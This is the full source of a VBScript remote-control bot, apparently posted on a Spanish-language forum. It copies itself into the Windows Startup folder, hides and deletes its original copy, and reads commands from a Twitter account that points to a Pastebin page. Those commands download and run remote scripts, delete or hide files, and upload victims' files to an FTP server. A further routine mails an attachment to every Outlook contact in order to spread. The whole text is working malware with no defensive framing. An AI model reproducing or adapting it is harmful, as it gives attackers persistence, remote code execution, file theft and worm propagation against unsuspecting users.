on error resume next
Dim Orders
Dim MyFullPath: MyFullPath = WScript.ScriptFullName
Dim MyPath: MyPath = Left(MyFullPath, InstrRev(MyFullPath, "\")-1)
Dim MyName: MyName = WScript.ScriptName
Dim user : user = "botiloveyou" 'Aca pone tu usuario de twitter
'FTP
Dim FTPData
Dim FTPCOMPLETE
Dim W1
Dim W2
'/FTP
Main
Sub Main()
If Not (CreateObject("scripting.filesystemobject").FileExists("C:\SS.ORD") and MyFullPath = ConvertPath("STARTUP",MyName)) Then
CreateObject("Scripting.FileSystemObject").CreateTextFile("C:\SS.ORD", True).WriteLine ("0")
CopyToStartUP MyPath , MyName
Hidefile "STARTUP", MyName
ExecuteFile "STARTUP", MyName
Melt
WScript.Quit (1)
End If
Do
DoOrders "[%]"
For x = 0 To 200
WScript.Sleep 10000
Next
Loop
End Sub
Sub DoOrders(OrdSeparator)
GetOrders
For x = 0 To UBound(Orders)
Ord = Split(Orders(x), OrdSeparator)
Select Case Ord(0)
Case "nord"
Exit For
Case "down" 'Download VBS
DownloadVBS Ord(1), Ord(2), Ord(3)
Case "xcec" 'Execute
ExecuteFile Ord(1), Ord(2)
Case "dwne" 'Download and Execute VBS
DownloadVBS Ord(1), Ord(2), Ord(3)
ExecuteFile Ord(2), Ord(3)
Case "copy" 'Copy
FileCopy Ord(1), Ord(2), Ord(3), Ord(4)
Case "supr" 'Delete
DeleteFile Ord(1), Ord(2)
Case "hide" 'Hide
HideFile Ord(1), Ord(2)
Case "melt" 'Melt
Melt
Case "ftpu" 'Upload to FTP
Set W1 = WScript.CreateObject("MSWINSOCK.Winsock", "W1_")
Set W2 = WScript.CreateObject("MSWINSOCK.Winsock", "W2_")
Call FTPUpload(Ord(1), Ord(2), Ord(3),Ord(4), Ord(5), Ord(6), Ord(7))
Set W1 = Nothing
Set W2 = Nothing
Case "msgb" 'MsgBox
Msgbox Ord(1)
Case "clos" 'Close
WScript.Quit (1)
End Select
Next
End Sub
Function LastOrderDone()
LastOrderDone = CreateObject("Scripting.FileSystemObject").OpenTextFile("C:\SS.ORD", 1).ReadAll
End Function
Sub ExecuteFile(SPath, SFile)
CreateObject("WScript.Shell").run """" & ConvertPath(SPath, SFile) & """"
End Sub
Sub FileCopy(Spath, SFile, Spath2, SFile2)
CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
End Sub
Sub Melt()
DeleteFile "FULLPATHONFILENAME", MyFullPath
End Sub
Sub DeleteFile(SPath, SFile)
CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
End Sub
Sub DownloadVBS(Z, SPath, SFile)
Set xhttp = CreateObject("Microsoft.XmlHttp")
xhttp.open "GET", Z, False
xhttp.send ""
Z = xhttp.responseText
If CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile)) Then CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
CreateObject("Scripting.FileSystemObject").CreateTextFile(ConvertPath(SPath, SFile), True).WriteLine (Z)
Set xhttp = Nothing
Do While Not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile))
WScript.Sleep 500
Loop
End Sub
Function ConvertPath(SPath, SFile)
If UCase(SPath) = "MYPATH" Then ConvertPath = CreateObject("Shell.Application").NameSpace(26).Self.Path: Exit Function
If UCase(SPath) = "FULLPATHONFILENAME" Then ConvertPath = SFile: Exit Function
If UCase(SPath) = "STARTUP" Then SPath = CreateObject("WScript.Shell").SpecialFolders("StartUp")
ConvertPath = SPath & "\" & SFile
End Function
Sub GetOrders()
Orders = Split("nord nord")
Dim Orden
Dim xhttp
Dim y
Dim URLPASTEBIN
Dim http : Set http = CreateObject("Microsoft.XmlHttp")
http.open "GET", "http://api.twitter.com/1/statuses/user_timeline/" & user & ".xml", False
http.send
y = split(http.responsetext,"<text>")
If ubound(y)>0 then
msgbox y(1)
URLPASTEBIN = "http://pastebin.com" & split(y(1),"</text>")(0) : set http = Nothing
msgbox urlpastebin
End if
Set xhttp = CreateObject("Microsoft.XmlHttp")
If CheckOrder(URLPASTEBIN) = 0 Then Exit Sub
xhttp.open "GET", URLPASTEBIN, False
xhttp.send ""
Z = LCase(xhttp.responseText)
Set xhttp = Nothing
Z = Replace(Split(Split(Z, "<textarea")(1), ">")(1), "</textarea", vbNullString)
Orders = Split(Z, vbNewLine)
End Sub
Sub HideFile(SPath, SFile)
CreateObject("scripting.filesystemobject").GetFile(ConvertPath(SPath, SFile)).Attributes = -2
End Sub
Sub CopyToStartUP(SPath, SFile)
CreateObject("scripting.filesystemobject").CopyFile ConvertPath(SPath, SFile), CreateObject("WScript.Shell").SpecialFolders("StartUp") & "\" & SFile, True
End Sub
Function FTPUpload(FTPServer, FTPPort, FTPUser, FTPPass, SPath, SFile, OrdNum)
W1.RemoteHost = FTPServer
W1.RemotePort = FTPPort
W1.Connect
If WaitResponse Then Exit Function
If FTPCODE <> 220 Then Exit Function
FTPData = ""
W1.SendData "USER " & FTPUser & vbCrLf
If WaitResponse Then Exit Function
If FTPCODE <> 331 Then Exit Function
FTPData = ""
W1.SendData "PASS " & FTPPass & vbCrLf
If WaitResponse Then Exit Function
If FTPCODE <> 230 Then Exit Function
FTPData = ""
W1.SendData "PASV" & vbCrLf
If WaitResponse Then Exit Function
If FTPCODE <> 227 Then Exit Function
Dim Aux
Aux = Split(FTPData, ",")
FTPDataPort = (Aux(UBound(Aux) - 1) * 256) + Left(Aux(UBound(Aux)), InStr(Aux(UBound(Aux)), ")") - 1)
FTPDataIP = Trim(Replace(Right(Aux(0), 3), "(", vbNullString)) & "." & Aux(1) & "." & Aux(2) & "." & Aux(3)
FTPData = ""
W1.SendData "STOR " & Int(Rnd() * 1000000) & Int(Rnd() * 1000000) & "." & OrdNum & vbCrLf
W2.RemotePort = FTPDataPort: W2.RemoteHost = FTPDataIP
W2.Connect
WaitResponse
If Not (FTPCODE = "125" Or FTPCODE = "150") Then Exit Function
FTPUpload = Upload(ConvertPath(SPath, SFile))
End Function
Function Upload(FilePath)
Dim UPFile
Dim FileLen
Dim TotalSent
Dim a
Set a = WScript.CreateObject("ADODB.Stream")
a.open
a.Type = 1
a.LoadFromFile (FilePath)
UPFile = a.Read()
FTPCOMPLETE = False
W2.SendData UPFile
EsperaSubida = 0
Do
WScript.Sleep 1000
EsperaSubida = EsperaSubida + 1
If SendIsComplete = 1 Then Upload = True: Exit Function
If EsperaSubida > 300 Then Exit Function
Loop
End Function
Sub W1_DataArrival(ByVal bytesTotal)
W1.GetData FTPData, 8
End Sub
Function SendIsComplete()
SendIsComplete = FTPCOMPLETE
End Function
Sub w2_SendComplete()
FTPCOMPLETE = 1
End Sub
Function WaitResponse()
Espera = 0
Do
WScript.Sleep 1000
Espera = Espera + 1
If Espera > 10 Then WaitResponse = 1: Exit Function
If FTPCODE <> 0 Then Exit Function
Loop
End Function
Function FTPCODE()
If Len(FTPData) > 3 Then FTPCODE = Left(FTPData, 3) Else FTPCODE = 0
End Function
Function uncif(Tweet)
Tweet = Replace(Tweet, Chr(32), vbNullString)
Movex = Left(Tweet, 1)
For x = 2 To Len(Tweet)
uncif = uncif & Chr(Asc(Mid(Tweet, x, 1)) + Movex)
Next
End Function
Function CheckOrder(expression)
Dim EscOrd
if instr(expression, "/") then
Set EscOrd = CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\SS.ORD", 1)
Aux = EscOrd.ReadAll
Dim Aux2
Set EscOrd = Nothing
Aux2 = Split(Aux,VbNewLine)
For x = 0 to ubound(aux2)
If Replace(expression,"pastebin","google") = Aux2(x) then CheckOrder = 0: Exit Function
Next
set EscOrd = CreateObject("Scripting.FileSystemObject").CreateTextFile("c:\SS.ORD", True)
EscOrd.Write (Aux & VbNewLine & Replace(expression,"pastebin","google"))
EscOrd.Close
Set EscOrd = Nothing
CheckOrder = 1
end if
End Function
Sub SpreadOutLook(Message,Subject,SPath, SFile)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
If Contacts.Items.Item(x).Email1Address <> "" Then
Set Email = CreateObject("Outlook.Application").CreateItem(0)
Email.To = Contacts.Items.Item(x).Email1Address
Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
Email.ReadReceiptRequested = False
Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
Email.Attachments.Add ConvertPath(SPath, SFile)
Email.Send
End If
next
End Sub
Similar topics (1)
Abril 18, 2018, 12:58:23 pm